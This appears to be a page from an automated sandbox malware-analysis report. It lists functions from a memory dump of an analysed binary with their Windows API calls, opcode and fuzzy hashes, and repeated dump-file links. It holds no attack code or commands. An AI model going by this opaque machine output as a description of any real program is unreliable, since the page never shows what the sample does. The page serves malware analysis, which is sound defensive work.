Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 7f1e16ff82983787c962f4ad835f5cd93ee7d0d9ed27da7de9fc5ab02491ab29
Instruction ID: c588409bf1c0847bf93eaeed3c00c1a34c93bc17a3dc7c47a3f13c557a55c333
Opcode Fuzzy Hash: 7f1e16ff82983787c962f4ad835f5cd93ee7d0d9ed27da7de9fc5ab02491ab29
Instruction Fuzzy Hash: 99B14A31610A08DFD718CF28D496A647BA0FF45364F29865AE8DACF3A5C335E992CF50

Function 00DC729C Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00DC72B2

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 1f95ab5768de1303d6d979d20807739bea292dc634af116bde8b6d3da6b9bdbb
Instruction ID: e54b30cd6c0b5336c3924564bee80746b172ef17b2b7224a1af2eee0f8800118
Opcode Fuzzy Hash: 1f95ab5768de1303d6d979d20807739bea292dc634af116bde8b6d3da6b9bdbb
Instruction Fuzzy Hash: F5A16CB19157458FDB18CF65D8C6BA9BBB1FB88324F28812ED419EB3A0D7349941CF60

Function 00DD9ABF Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d4e07ada68a32889de3ba2ff3388249f2c3c002fa7142026603b0bc8aefe2c5
Instruction ID: 2c7f19f79c1961acbba3d9733b579063cac773719fdfe0b7fafdb53845f50d6c
Opcode Fuzzy Hash: 6d4e07ada68a32889de3ba2ff3388249f2c3c002fa7142026603b0bc8aefe2c5
Instruction Fuzzy Hash: 8531C876900219AFCB20EFA8DCD5EBBB76DEB84314F19415AF90597344EA31AE408B70

Function 00DCCAF2 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00DCCC80

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 1f8a7aecf4b8b8a0699fb58a0be1a988316c41bb45692e393a6bbc5531041aad
Instruction ID: ef42fcd1cc161fc1274c05c1733d3ee91f1e1b2fe6ff204ef2a311b989e5c852
Opcode Fuzzy Hash: 1f8a7aecf4b8b8a0699fb58a0be1a988316c41bb45692e393a6bbc5531041aad
Instruction Fuzzy Hash: D0C1B0705206478FCB24CFA8C581F7ABBB6AB05310F18665DE69E97291C730ED45CB71

Function 00DDC6EB Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00DD4EB1: GetLastError.KERNEL32(?,00000008,00DD9482), ref: 00DD4EB5
Part of subcall function 00DD4EB1: SetLastError.KERNEL32(00000000,00DEC480,00000024,00DD0419), ref: 00DD4F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00DDC73F

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: ce5039e30cef9568cd2ebdd4908624926eeddf000a2a4475f10fe475e210f072
Instruction ID: 9953e6fec0786cd3a0cace18d42623831aff30695ec438c123d6d43d16e6fdbb
Opcode Fuzzy Hash: ce5039e30cef9568cd2ebdd4908624926eeddf000a2a4475f10fe475e210f072
Instruction Fuzzy Hash: ED217F32625207BBEB28AE25DC82A7A77A8EF44310F14106BF905D6341EB34ED41CB70

Function 00DDC372 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DD4EB1: GetLastError.KERNEL32(?,00000008,00DD9482), ref: 00DD4EB5
Part of subcall function 00DD4EB1: SetLastError.KERNEL32(00000000,00DEC480,00000024,00DD0419), ref: 00DD4F57

EnumSystemLocalesW.KERNEL32(00DDC498,00000001,00000000,?,-00000050,?,00DDCAC9,00000000,?,?,?,00000055,?), ref: 00DDC3E4

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: b2d136e6b06027bc987ceac1803beede4524184833aa61f2396b3cce8c57fb02
Instruction ID: 898aeff5e073234c742ff4c2f0fc25b9142193e3f7aad2688b3ea6314f94e468
Opcode Fuzzy Hash: b2d136e6b06027bc987ceac1803beede4524184833aa61f2396b3cce8c57fb02
Instruction Fuzzy Hash: C21148372103025FDB18AF38C8A15BABBA1FF80368F18842EE94787B40D771B942C760

Function 00DDC91A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00DD4EB1: GetLastError.KERNEL32(?,00000008,00DD9482), ref: 00DD4EB5
Part of subcall function 00DD4EB1: SetLastError.KERNEL32(00000000,00DEC480,00000024,00DD0419), ref: 00DD4F57

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00DDC6B4,00000000,00000000,?), ref: 00DDC946

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: baf9a1cf19f44af01a6ff098fe447e43f65adb86b39c80d169d1034d8ac19622
Instruction ID: 055e195cbcc3acf24df5f4f3da67eb5fe7dbb6c7f45165d0c6114fc72852423a
Opcode Fuzzy Hash: baf9a1cf19f44af01a6ff098fe447e43f65adb86b39c80d169d1034d8ac19622
Instruction Fuzzy Hash: 83F0A933610113BBDB245A658855BBA7758EF40755F19442AED46A3380DA74FE41CAB0

Function 00DDC40D Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DD4EB1: GetLastError.KERNEL32(?,00000008,00DD9482), ref: 00DD4EB5
Part of subcall function 00DD4EB1: SetLastError.KERNEL32(00000000,00DEC480,00000024,00DD0419), ref: 00DD4F57

EnumSystemLocalesW.KERNEL32(00DDC6EB,00000001,?,?,-00000050,?,00DDCA8D,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00DDC457

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 85ce6e746c166a19fd49cb9d3ceddad0185bf404c5bbc5d201ea0fac3607cd48
Instruction ID: 9b5813ea66c6877530ebffd187c36dd9b54bb871e52028821372a3af49656f4d
Opcode Fuzzy Hash: 85ce6e746c166a19fd49cb9d3ceddad0185bf404c5bbc5d201ea0fac3607cd48
Instruction Fuzzy Hash: 61F0C2362103056FDB146F79DC91A7ABB95EB80768F19842EF9468B790C6B1AC42CB60

Function 00DD5D7F Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DCDDC1: EnterCriticalSection.KERNEL32(?,?,00DD4B89,?,00DEC2E0,00000008,00DD4D4D,?,00DCC446,?), ref: 00DCDDD0

EnumSystemLocalesW.KERNEL32(00DD5D72,00000001,00DEC3A0,0000000C,00DD6127,00000000), ref: 00DD5DB7

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 39b0c7100c30ac64a3c0adf3cf838301e9cd3a36227ac4283d5bf65613498d29
Instruction ID: 20120e986f2c3962a66e9fad15f004146e83fc0372485a119d31819b5d29bb81
Opcode Fuzzy Hash: 39b0c7100c30ac64a3c0adf3cf838301e9cd3a36227ac4283d5bf65613498d29
Instruction Fuzzy Hash: 70F03C72A00309DFD700EF99E846B997BB1EB48721F10411AE511DB3E1C77559058B64

Function 00DDC327 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DD4EB1: GetLastError.KERNEL32(?,00000008,00DD9482), ref: 00DD4EB5
Part of subcall function 00DD4EB1: SetLastError.KERNEL32(00000000,00DEC480,00000024,00DD0419), ref: 00DD4F57

EnumSystemLocalesW.KERNEL32(00DDC280,00000001,?,?,?,00DDCAEB,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00DDC35E

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: affb05357dc1292a446f98c56dec56f9924c2e86848fed14d1732b8b958650fe
Instruction ID: d2166c9b413bc639b86f092e4555821296dfa2bf35960621f9f71e48d81c4405
Opcode Fuzzy Hash: affb05357dc1292a446f98c56dec56f9924c2e86848fed14d1732b8b958650fe
Instruction Fuzzy Hash: 18F0E53630020667CB14AF79D84567ABF94EFC1B60F0A405AEA09CB790C6729946C7B0

Function 00DD622B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00DD23AE,?,20001004,00000000,00000002,?,?,00DD19B0), ref: 00DD625F

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 2e69608b8f02aef7048a2a5fb2cd2e4cd4873899b3eaf55ea40d9ae32c6c9700
Instruction ID: 1b03433d598783e2e5cebd677d85cc1cacdc8201bbb69d4805e9c118d3049de2
Opcode Fuzzy Hash: 2e69608b8f02aef7048a2a5fb2cd2e4cd4873899b3eaf55ea40d9ae32c6c9700
Instruction Fuzzy Hash: 49E01A32500268BBCF122F60EC08AAE7F2AEF44760F048016F94566321DB71CA20AAF5

Function 00DC7AAF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007ABB,00DC6DC9), ref: 00DC7AB4

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 155cd4d7ba0ee6449a6c18fdf8b6468a82eb0c2d24fd00bee200f6a130d501dc
Instruction ID: f094ce2bb95d848d4de22c98f09c138db92b7f7e71aee4ebdd0bf00931188a4e
Opcode Fuzzy Hash: 155cd4d7ba0ee6449a6c18fdf8b6468a82eb0c2d24fd00bee200f6a130d501dc
Instruction Fuzzy Hash:

Function 00DC1D79 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 00DC1E9B

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: 43757a2dec2e3549f05c634746e33a9349a8c803c03793824e0d85c53d5ec343
Instruction ID: eaea22139d90cc79b9777b0248ef887b0e26ae9e7153da9860196ed558cc2897
Opcode Fuzzy Hash: 43757a2dec2e3549f05c634746e33a9349a8c803c03793824e0d85c53d5ec343
Instruction Fuzzy Hash: 44410D76D2053B4BCB4CEEB8C4555ABBB69DB46310B14427EED11DB3D2E234CA01C6E0

Function 00DDCC4B Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00DDCC4B

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: e6343b5881b92e98b4e6397aa906180cfdb168eb8c7284d81d21e757a676fb6e
Instruction ID: 34d1d82269631fc0a9e16e2a4547d9b79c9ed9b38c419083eb2e8b748c0bde4c
Opcode Fuzzy Hash: e6343b5881b92e98b4e6397aa906180cfdb168eb8c7284d81d21e757a676fb6e
Instruction Fuzzy Hash: 8CA011302003008F83008F3AAE8E2283AA8AA08280B0880A8E002CA220EB208080AF00

Function 00DDBB36 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 63958043b1502c816c5dfa838cdcc4df346477d89bcfdaf2bd9e67508add1089
Instruction ID: 62f76b5c18938632fcbc2903faf7bd5712988f0f19f32277a7baf9f280a51021
Opcode Fuzzy Hash: 63958043b1502c816c5dfa838cdcc4df346477d89bcfdaf2bd9e67508add1089
Instruction Fuzzy Hash: 86B1C3755007458BDB389F25CC92AB6B3A9FF4431CF19452FE98386780EB75E9858B30

Function 00DDA64C Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction ID: b7cee9ea7715125c2749a3f41284be7f8e3e241f121c92891ecf5f21aac9d688
Opcode Fuzzy Hash: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction Fuzzy Hash: 3EE08C32921238EBCB14DB9CC90498AF3ECEB44B00B194497B501D3210C270DE00C7E0

Function 00E06628 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00DC2003 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8119b84a09ecd9ee65f5d720c4a78547232806ebe04427951d3432d97178e493
Instruction ID: 57b5d44df89c7338987e56d3d3cb7300c8c635dab8eceab1d8f021e434c4eabf
Opcode Fuzzy Hash: 8119b84a09ecd9ee65f5d720c4a78547232806ebe04427951d3432d97178e493
Instruction Fuzzy Hash: 75D0923A6019149FC220CF09E840941F7B4FB996307164096E905A7720C330FC41CAD0

Function 00DD0F2E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

